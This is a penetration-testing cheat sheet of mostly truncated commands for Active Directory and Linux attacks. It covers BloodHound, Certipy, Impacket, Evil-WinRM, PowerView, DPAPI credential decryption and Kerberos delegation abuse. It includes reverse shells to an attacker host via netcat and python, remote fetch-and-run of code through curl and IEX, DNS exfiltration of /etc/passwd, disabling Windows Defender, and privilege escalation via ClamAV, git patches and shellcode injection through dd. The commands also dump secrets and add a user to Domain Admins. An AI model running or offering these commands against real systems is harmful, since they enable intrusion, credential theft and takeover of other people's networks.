$ docker run \ --publish=7474:7474 --publish=7687:7687 \ --volume=$HOME/
$ docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASS
```

Database Password Reset

> http://localhost:7474/browser/

```
ALTER USER neo4j SET PASSWORD '<PASSWORD>'
```

Custom Queries

> https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-BloodHound-Cypher-Queries.md

Custom Query Location on macOS

```
/System/Volumes/Data/Users/<USERNAME>/Library/Application Support/bloodh
```

BloodHound Python

Build Docker Container

```
$ docker build -t bloodhound.py
```

Collection Method All

```
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -gc '<
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -ns <R
$ bloodhound-python -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>' -dc '<
```

LDAP Dumping

```
$ bloodhound-python -u <USERNAME> -p '<PASSWORD>' -ns <RHOST> -d <DOMAIN
```

Parsing

```
$ cat 20220629013701_users.json | jq | grep \"name\"
```

Searching for User Description in BloodHound Data

```
$ cat 20220629013701_users.json | jq '.data[].Properties | select(.enabl
```

bloodyAD

> https://github.com/CravateRouge/bloodyAD

```
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ch
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ch
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ch
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add ua
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get ob
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add dn
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove
$ bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get dn
```

Certify

> https://github.com/GhostPack/Certify

```
PS C:\> Certify find /vulnerable
PS C:\> Certify.exe find /vulnerable /currentuser
```

Certipy

> https://github.com/ly4k/Certipy

> https://github.com/ly4k/BloodHound/

Common Commands

```
$ certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>
$ certipy find -dc-ip <RHOST> -u <USERNAME> -p <PASSWORD> -vulnerable -s
```

Certificate Handling

Account Creation

```
$ certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWO
```

Authentication

```
$ certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOM
```

LDAP-Shell

```
$ certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOM
```

```
# add_user <USERNAME>
# add_user_to_group <GROUP>
```

Certificate Forging

```
$ certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -t
```

Certificate Request

Run the following command twice because of a current issue with `certipy`.

```
$ certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA
```

```
$ certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA
$ certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA
```

Start BloodHound Fork

```
$ ./BloodHound --disable-gpu-sandbox
```

ClamAV

File Replacement Privilege Escalation

- Vulnerable Version 1.0.0

```
$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023
```

Example

Create a custom `authorized_keys` file to replace another one. Then create a custom `database` with the `hex value` of the string you want to parse for.

```
$ printf ssh | xxd -p
```

custom_malware.db

```
Malware=737368
```

Execution

```
$ clamscan --remove=yes /root/.ssh/authorized_keys -d custom_malware.db
$ clamscan authorized_keys --copy=/root/.ssh/ -d custom_malware.db
```

Coercer

> https://github.com/p0dalirius/Coercer

Scan Example

```
$ python3 -m coercer scan -t <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -d
```

Coerce Example

```
$ impacket-ntlmrelayx -smb2support -t ldaps://<RHOST> --http-port <LPORT
```

```
$ python3 Coercer.py coerce -l <LHOST> -t <RHOST> -u "<USERNAME>" --hash
```

dd

Execute Shellcode

```
$ dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if
```

DNS

Data Exfiltration

Extract /etc/passwd

```
$ perl -E 'qx^Cdig $_.$$.${\(rand)}.example.com^Cfor(unpack"H*",qx^?cat
```

^C, ^H, and ^? are the corresponding single ASCII values.

Data Protection API (DPAPI)

- https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords

List Vault

```
C:\> vaultcmd /listcreds:"Windows Credentials" /all
```

Credential File Locations

```
C:\> dir /a:h C:\Users\<USERNAME>\AppData\Local\Microsoft\Credentials\
C:\> dir /a:h C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Credentials\
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Local\Microsof
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Roaming\Micros
```

Master Key Locations

```
PS C:\> Get-ChildItem C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Prot
PS C:\> Get-ChildItem C:\Users\<USERNAME>\AppData\Local\Microsoft\Protec
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Roaming\Micros
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Local\Microsof
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Roaming\Micros
PS C:\> Get-ChildItem -Hidden C:\Users\<USERNAME>\AppData\Local\Microsof
```

Examples

```
PS C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Credentials> Get-ChildI
Get-ChildItem -Hidden
```

```
    Directory: C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Credentials


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-          5/9/2023   2:08 PM            358 18A1927A997A794B65E984
-a-hs-          5/9/2023   4:03 PM            398 84F1CAEEBF466550F49678
-a-hs-         1/18/2024  11:53 AM            374 E76CCA3670CD9BB98DF79E
```

```
PS C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Protect\S-1-5-21-119939
Get-ChildItem -Hidden


    Directory: C:\Users\<USERNAME>\Appdata\Roaming\Microsoft\Protect\S-1


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a-hs-         1/17/2024   3:43 PM            740 10811601-0fa9-43c2-97e
-a-hs-          5/2/2023   4:13 PM            740 191d3f9d-7959-4b4d-a52
-a-hs-         1/17/2024   3:43 PM             24 Preferred
```

Decryption with mimikatz

rpc

```
mimikatz # dpapi::masterkey /in:"%appdata%\Microsoft\Protect\S-1-5-21-11
```

```
mimikatz # dpapi::cache
```

```
mimikatz # dpapi::cred /in:"C:\Users\<USERNAME>\AppData\Roaming\Microsof
```

enum4linux

> https://github.com/CiscoCXSecurity/enum4linux

```
$ enum4linux -a <RHOST>
```

enum4linux-ng

> https://github.com/cddmp/enum4linux-ng

```
$ enum4linux-ng -A <RHOST>
```

env

```
$ env
```

Evil-WinRM

> https://github.com/Hackplayers/evil-winrm

```
$ evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
```

```
*Evil-WinRM* PS C:\> menu
```

Using Hash Authentication

```
$ evil-winrm -i <RHOST> -u <USERNAME> -H <HASH>
```

Using SSL Authentication

```
$ evil-winrm -i <RHOST> -u <USERNAME> -p '<PASSWORD>' -S
```

Using Certificate and Private Key

```
$ evil-winrm -i <RHOST> -S -k <KEY>.key -c <CERTIFICATE>.crt
$ evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PA
```

Deactivate Windows Defender

```
$ Set-MpPreference -DisableRealtimeMonitoring $true
```

PowerView

> https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

```
PS C:\> powershell -ep bypass
PS C:\> . .\PowerView.ps1
```

Common Commands

```
PS C:\> Find-InterestingDomainAcl -ResolveGuids
```

Example

```
PS C:\> Import-Module .\PowerView.ps1
PS C:\> $pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<D
PS C:\> Add-DomainGroupMember -Identity 'Domain Admins' -Members '<USERN
```

Check User

```
PS C:\> Get-DomainUser <USERNAME> -Credential $cred
```

Code Execution

```
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { who
```

Find a File

```
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { gci
```

Read a File

```
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { cat
```

Remove a User from a Group

```
PS C:\> Invoke-Command -Computer DC -Credential $cred -ScriptBlock { net
```

Excel

.csv Files Command Injection

If the file get's parsed on a Linux operationg system, commands can be injected to the rows.

```
$ echo '" --exec="\!/dev/shm/<FILE>"' >> /PATH/TO/FILE/<FILE>.csv
```

find

Specific Size

```
$ find / -size 50M    // find files with a size of 50MB
```

Modified Files

```
$ find / -mtime 10    // find modified files in the last 10 days
$ find / -atime 10    // find accessed files in the last 10 days
$ find / -cmin -60    // find files changed within the last 60 minutes
$ find / -amin -60    // find files accesses within the last 60 minutes
```

Passwords

```
$ find ./ -type f -exec grep --color=always -i -I 'password' {} \;
```

Group Permissions

```
$ find / -group <group> 2>/dev/null
```

User specific Files

```
$ find / -user <USERNAME> 2>/dev/null
$ find / -user <USERNAME> -ls 2>/dev/null
$ find / -user <USERNAME> 2>/dev/null | grep -v proc 2>/dev/null
$ find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
```

SUID and SGID Files

```
$ find / -perm -4000 2>/dev/null
$ find / -perm -4000 2>/dev/null | xargs ls -la
$ find / -type f -user root -perm -4000 2>/dev/null
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>
```

FullPowers

> https://github.com/itm4n/FullPowers

```
PS C:\> .\FullPowers.exe -x
PS C:\> .\FullPowers.exe -c "C:\nc64.exe <LHOST> <LPORT> -e cmd" -z
```

functions

- Bash <4.2-048

```
$ function /usr/sbin/<BINARY> { /bin/bash -p; }
$ export -f /usr/sbin/<BINARY>
$ /usr/sbin/<BINARY>
```

gdbus

Privilege Escalation

> https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

```
$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ub
```

gem

```
$ sudo gem open -e "/bin/sh -c /bin/sh" rdoc
```

Git

Git apply (Malicious Patch) Privilege Escalation

Payload

```
diff --git a/x b/../../../home/<USERNAME>/.ssh/authorized_keys
new file mode 100400
index 0000000..a3d61a0
--- /dev/null
+++ b/../../../home/<USERNAME>/.ssh/authorized_keys
@@ -0,0 +1 @@
+<SSH_PUBLIC_KEY>
```

Execution

```
$ git apply patch --unsafe-paths
```

Git Attributes Privilege Escalation

> https://git-scm.com/book/en/v2/Customizing-Git-Git-Attributes#filters_b

Notice that I only found this within a CTF so far. The prerequisites are `git commit` get's executed via `script`.

Payload

```
export RHOST="<LHOST>";export RPORT=<LPORT>;python3 -c 'import socket,os
```

Execution

```
$ git init
$ echo '*.c filter=indent' > .git/info/attributes
$ git config filter.indent.clean /tmp/<FILE>
$ sudo -u <USERNAME> git-commit.sh
```

gMSADumper

> https://github.com/micahvandeusen/gMSADumper

```
$ python3 gMSADumper.py -u <USERNAME> -p <PASSWORD> -d <DOMAIN> -l dc.<D
```

grep

```
$ grep -R db_passwd
$ grep -roiE "password.{20}"
$ grep -oiE "password.{20}" /etc/*.conf
$ grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$"    // grep for passwords
```

gsocket

Shell

```
$ bash -c "$(curl -fsSL gsocket.io/x)"
```

Impacket

> https://github.com/fortra/impacket

Library Protocols

> https://tools.thehacker.recipes/impacket

> https://wadcoms.github.io/

> https://www.kali.org/tools/impacket-scripts/

Impacket Module	Description
impacket-addcomputer	It will add a computer account to the domain and set its password. The following command will create a new computer over the SMB by specifying the SAMR method.
impacket-atexec	It executes a command on the target machine through the Task Scheduler service and returns the output of the executed command.
impacket-dcomexec	A semi-interactive shell similar to wmiexec.py, but using different DCOM endpoints. Currently supports MMC20.Application, ShellWindows and ShellBrowserWindow objects.
impacket-dpapi	Allows decrypting vaults, credentials and masterkeys protected by DPAPI.
impacket-esentutl	An Extensible Storage Engine format implementation. Allows dumping catalog, pages and tables of ESE databases (e.g. NTDS.dit).
impacket-exchanger	A tool for connecting to MS Exchange via RPC over HTTP v2.
impacket-findDelegation	Simple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment.
impacket-Get-GPPPassword	This example extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Additionally, it can parse GPP XML files offline.

impacket-GetADUsers	This script will gather data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes.
impacket-getArch	This script will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
impacket-GetNPUsers	This example will attempt to list and get TGTs for those users that have the property 'Do not require Kerberos preauthentication' set (UF_DONT_REQUIRE_PREAUTH). Output is compatible with JtR.
impacket-getPac	This script will get the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of [MS-SFU]'s S4USelf + User to User Kerberos Authentication.
impacket-getST	Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the -impersonate switch to request the ticket on behalf another user.
impacket-getTGT	Given a password, hash or aesKey, this script will request a TGT and save it as ccache.
impacket-GetUserSPNs	This example will try to find and fetch Service Principal Names that are associated with normal user accounts. Output is compatible with JtR and HashCat.
impacket-goldenPac	Exploit for MS14-068. Saves the golden ticket and also launches a PSEXEC session at the target.
impacket-karmaSMB	A SMB Server that answers specific file contents regardless of the SMB share and pathname specified.
impacket-keylistattack	This example implements the Kerberos Key List attack to dump credentials abusing RODCs and Azure AD Kerberos Servers.
impacket-kintercept	A tool for intercepting krb5 connections and for testing KDC handling S4U2Self with unkeyed checksum.
impacket-lookupsid	A Windows SID brute forcer example through [MS-LSAT] MSRPC Interface, aiming at finding remote users/groups.
impacket-machine_role	This script retrieves a host's role along with its primary domain details.
impacket-mimikatz	Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi.
impacket-mqtt_check	Simple MQTT example aimed at playing with different login options. Can be converted into a account/password brute forcer quite easily.
impacket-mssqlclient	Alternative method to execute cmd's on MSSQL.
impacket-mssqlinstance	Retrieves the instances names from the target host.
impacket-netview	Gets a list of the sessions opened at the remote hosts and keep track of them looping over the hosts found and keeping track of who logged in/out from remote servers.
impacket-nmapAnswerMachine	n/a

impacket-ntfs-read	NTFS format implementation. This script provides a mini shell for browsing and extracting an NTFS volume, including hidden/locked contents.
impacket-ntlmrelayx	This script performs NTLM Relay Attacks, setting an SMB and HTTP Server and relaying credentials to many different protocols (SMB, HTTP, MSSQL, LDAP, IMAP, POP3, etc.). The script can be used with predefined attacks that can be triggered when a connection is relayed (e.g. create a user through LDAP) or can be executed in SOCKS mode. In this mode, for every connection relayed, it will be available to be used later on multiple times through a SOCKS proxy.
impacket-ping	Simple ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host. If the remote host is up, it should reply to the echo probe with an echo-reply packet.
impacket-ping6	Simple IPv6 ICMP ping that uses the ICMP echo and echo-reply packets to check the status of a host.
impacket-psexec	PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom)
impacket-raiseChild	This script implements a child-domain to forest privilege escalation by (ab)using the concept of Golden Tickets and ExtraSids.
impacket-rbcd	Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer.
impacket-rdp_check	[MS-RDPBCGR] and [MS-CREDSSP] partial implementation just to reach CredSSP auth. This example tests whether an account is valid on the target host.
impacket-reg	Remote registry manipulation tool through the [MS-RRP] MSRPC Interface. The idea is to provide similar functionality as the REG.EXE Windows utility.
impacket-registry-read	A Windows Registry file format implementation. It allows to parse offline registry hives.
impacket-rpcdump	This script will dump the list of RPC endpoints and string bindings registered at the target. It will also try to match them with a list of well known endpoints.
impacket-rpcmap	Scan for listening DCE/RPC interfaces. This binds to the MGMT interface and gets a list of interface UUIDs. If the MGMT interface is not available, it takes a list of interface UUIDs seen in the wild and tries to bind to each interface.
impacket-sambaPipe	This script will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through the -so parameter.
impacket-samrdump	An application that communicates with the Security Account Manager Remote interface from the MSRPC suite. It lists system user accounts, available resource shares and other sensitive information exported through this service.
impacket-secretsdump	Performs various techniques to dump secrets from the remote machine without executing any agent there. For SAM and LSA Secrets (including cached creds) we try to read as much as we can from the registry and then we save the hives in the target system (%SYSTEMROOT%\Temp directory) and read the rest of the data from there. For DIT files, we dump NTLM hashes, Plaintext credentials (if available) and Kerberos keys using the DL_DRSGetNCChanges() method. It can also

	dump NTDS.dit via vssadmin executed with the smbexec/wmiexec approach. The script initiates the services required for its working if they are not available (e.g. Remote Registry, even if it is disabled). After the work is done, things are restored to the original state.
impacket-services	This script can be used to manipulate Windows services through the [MS-SCMR] MSRPC Interface. It supports start, stop, delete, status, config, list, create and change.
impacket-smbclient	A generic SMB client that will let you list shares and files, rename, upload and download files and create and delete directories, all using either username and password or username and hashes combination. It's an excellent example to see how to use impacket.smb in action.
impacket-smbexec	A similar approach to PSEXEC w/o using RemComSvc. This implementation goes one step further, instantiating a local smbserver to receive the output of the commands. This is useful in the situation where the target machine does NOT have a writeable share available.
impacket-smbpasswd	This script is an alternative to smbpasswd tool and intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR).
impacket-smbrelayx	Exploit for CVE-2015-0005 using a SMB Relay Attack. If the target system is enforcing signing and a machine account was provided, the module will try to gather the SMB session key through NETLOGON.
impacket-smbserver	A Python implementation of an SMB server. Allows to quickly set up shares and user accounts.
impacket-sniff	Simple packet sniffer that uses the pcapy library to listen for packets in # transit over the specified interface.
impacket-sniffer	Simple packet sniffer that uses a raw socket to listen for packets in transit corresponding to the specified protocols.
impacket-split	n/a
impacket-ticketConverter	This script will convert kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa.
impacket-ticketer	This script will create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the groups, ExtraSids, duration, etc.
impacket-wmiexec	A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy.
impacket-wmipersist	This script creates/removes a WMI Event Consumer/Filter and link between both to execute Visual Basic based on the WQL filter or timer specified.
impacket-wmiquery	It allows to issue WQL queries and get description of WMI objects at the target system (e.g. select name from win32_account).

impacket-atexec

```
$ impacket-atexec -k -no-pass <DOMAIN>/Administrator@<RHOST> 'type C:\PA
```

impacket-dcomexec

```
$ impacket-dcomexec -object MMC20 -debug -silentcommand <DOMAIN>/<USERNA
```

impacket-findDelegation

```
$ impacket-findDelegation <DOMAIN>/<USERNAME> -hashes :<HASH>
```

impacket-GetADUsers

```
$ impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/
```

impacket-GetNPUsers

```
$ impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format hashcat
$ impacket-GetNPUsers <DOMAIN>/ -usersfile usernames.txt -format john -o
$ impacket-GetNPUsers <DOMAIN>/<USERNAME> -request -no-pass -dc-ip <RHOS
```

impacket-getST

```
$ impacket-getST <DOMAIN>/<USERNAME> -spn <USERNAME>/<RHOST> -hashes :<H
$ impacket-getST <DOMAIN>/<USERNAME>$ -spn <USERNAME>/<RHOST> -hashes :<
```

impacket-getTGT

```
$ impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
$ impacket-getTGT <DOMAIN>/<USERNAME> -dc-ip <DOMAIN> -hashes aad3b435b5
```

impacket-getUserSPNs

```
$ impacket-GetUserSPNs -request -dc-ip <RHOST> <DOMAIN>/<USERNAME>
```

```
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.
```

impacket-lookupsid

```
$ impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST
```

impacket-netview

```
$ impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt
```

impacket-ntlmrelayx

Common Commands

```
$ impacket-ntlmrelayx -t ldap://<RHOST> --no-wcf-server --escalate-user
```

Example

```
$ impacket-ntlmrelayx --no-http-server -smb2support -t <RHOST> -c "power
```

```
C:\> dir \\<LHOST>\foobar
```

```
$ nc -lnvp <LPORT>
```

impacket-psexec

```
$ impacket-psexec <USERNAME>@<RHOST>
$ impacket-psexec <DOMAIN>/administrator@<RHOST> -hashes aad3b435b51404e
```

impacket-req

```
$ impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <COM
```

impacket-rpcdump

```
$ impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

impacket-samrdump

```
$ impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

impacket-secretsdump

```
$ impacket-secretsdump <DOMAIN>/<USERNAME>@<RHOST>
$ impacket-secretsdump -dc-ip <RHOST> <DOMAIN>/<SUERNAME>:<PASSWORD>@<RH
$ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
$ impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:ntha
```

```
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-secretsdump -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass
```

impacket-services

```
$ impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
```

impacket-smbclient

```
$ impacket-smbclient <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST
```

```
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-smbclient -k <DOMAIN>/<USERNAME>@<RHOST>.<DOMAIN> -no-pass
```

impacket-smbpasswd

```
$ impacket-smbpasswd <RHOST>/<USERNAME>:'<PASSWORD>'@<RHOST> -newpass '<
```

impacket-smbserver

```
$ impacket-smbserver local . -smb2support
```

impacket-ticketer

Requirements

- Valid User
- NTHASH
- Domain-SID

```
$ export KRB5CCNAME=<USERNAME>.ccache
$ impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid
```

Fixing [-] exceptions must derive from BaseException

Issue

```
$ impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] exceptions must derive from BaseException
```

To fix it

```
241         if self.__doKerberos:
242             #target = self.getMachineName()
243             target = self.__kdcHost
```

dacledit.py

> https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py

```
$ python3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<
```

Fixing msada_guids Error

```
#from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
```

Then put the `msada_guids.py` into the same directory as `dacledit.py`

> https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py

owneredit.py

> https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py

```
$ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST
```

ThePorgs Fork

```
$ pipenv shell
$ git clone https://github.com/ThePorgs/impacket/
$ pip3 install -r requirements.txt
$ sudo python3 setup.py install
```

Internet Information Service (IIS)

Application Pool Credential Dumping

```
C:\Windows\System32\inetsrv>appcmd.exe list apppool /@:*
```

JAWS

> https://github.com/411Hall/JAWS

```
PS C:\> IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LP
```

Kerberos

Authentication

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/kerberos-authentication

If a user wants to obtain access to resources within a Active Directory network, he must obtain a ticket through a `6-step` process.

1. User sends a request to the `Kerberos Distribution Center (KDC)` with his password hash and a timestamp. (AS-REQ)
2. If the `password hash` of the user matches that for the user on the `KDC`, the user receives a `Ticket Granting Ticket` encrypted and signed by the `krbtgt` account. (AS-REP)
3. The `TGT`, including the `krbtgt hash`, is sent to the `KDC` or `DC` in order to recieve a `Kerberos Service Ticket (TGS)`. (TGS-REQ)
4. User then receives a `TGS` encrypted with the `hash` of the service account he wishes to access. (TGS-REP)
5. User then connects to the server and attempts to use the service he sent the `initial request` for with the `TGS` included. (AP-REQ)
6. User gains access and mutual authentication is given between the server and client if necessary (AP-REP).

Constrained Delegation

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/constrained-delegation

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation

- `Constrained Delegation` limits the services to which a service can access on behalf of a user.
- This service account must still be `trusted` to `delegate`.
- The user does `not authenticate` with `Kerberos` to the `constrained service`.
- Instead of authenticating to the `KDC` first, like in a regular Kerberos ticket request, the user authenticates `directly to the service`.
- Once the user authenticates to the service, the service then requests a `forwardable TGT` to the `KDC` without the user's password included.
- The `KDC` checks the `TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION` attribute on the service and whether or not the user's account is blocked.
- If everything checks out a ticket is returned.
- Ticket gets `passed back` to the `KDC` and a `TGS ticket` is requested to the `second service`.
- `KDC` checks the `msDS-AllowedToDelegateTo` field on the second service and if it is listed, then an `access ticket` is granted.
- `TGS` gets sent to the next service and the user now can authenticate to it.

The `Service for User (S4U)` extension is used to aid the impersonation process when `Constrained Delegation` is used. The extension has two extensions within it:

- `Service for User to Self (S4U2Self)`: This allows a service to obtain a `forwardable TGS` to itself on the user's behalf with the `User Principal Name` supplied. No password is included.
- `Service for User to Proxy (S4U2proxy)`: This allows the service to `obtain` the required `TGS` on the user's behalf to the second service the user needs to connect to. This second service will have the `msDS-AllowedToDelegateTo` attribute given to it. User tokens can be forwarded to those `SPN's` which have this attribute given.

Delegation occurs not only for the specified service, but also for ANY service running under the account that is running the service.

Unconstrained Delegation

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/unconstrained-delegation

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation

Kerberos Delegation allows for users to access resources on another server via a service that the user has access to. The service the user is connected to impersonates that user by resusing his credentials which then allows the user to gain access to that server.

- When `Unconstrained Delegation` is enabled, the user's `TGT` is sent along with the `TGS` to the first hop service. That `TGT` gets stored in the server's `LSASS` which allows the service to take it out and delegate with it if necessary.
- Accounts or services with `Unconstrained Delegation` can be escalated to an account with higher privileges, if a Domain Admin or a higher privileged user connecting to that machine.
- The `TGT` can be extracted and the ticket `reused`.

Resource-based Constrained Delegation (RBCD)

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution

> https://blog.netwrix.com/2022/09/29/resource-based-constrained-delegation-abuse/

> https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview

- In `unconstrained` and `constrained Kerberos delegation`, a `computer/user` is told what resources it can delegate authentications to.
- In `Resource-based Kerberos Delegation`, computers (resources) specify who they `trust` and who can `delegate` authentications to them.
- By supporting constrained delegation across domains, `services` can be `configured` to use `constrained delegation` to `authenticate` to `servers` in other domains rather than using unconstrained delegation.
- This provides `authentication support` for across domain service solutions by using an existing Kerberos infrastructure `without` needing to trust `front-end services` to delegate to any service.

Prerequisites

- Populate the `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute with a computer account that will be controlled.
- Know a `SPN` set on the object to gain access.
- Create a new `computer account` using PowerMad (allowed due to the default MachineAccountQuota value).
- Leverage Rubeus to abuse `Resource-Based Constrained Delegation`.

Kerberoasting

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/kerberoasting

> https://xedex.gitbook.io/internalpentest/internal-pentest/active-directory/post-compromise-attacks/kerberoasting

- All user accounts that have `Service Principal Names (SPN's)` set can be kerberoasted.
- Relatively silent technique because it leaves only one `4769 ID event` on the log.

AS-REP Roasting

> https://csforza.gitbook.io/pentesting-articles-and-notes/windows/active-directory/privilege-escalation/as-rep-roasting

> https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat

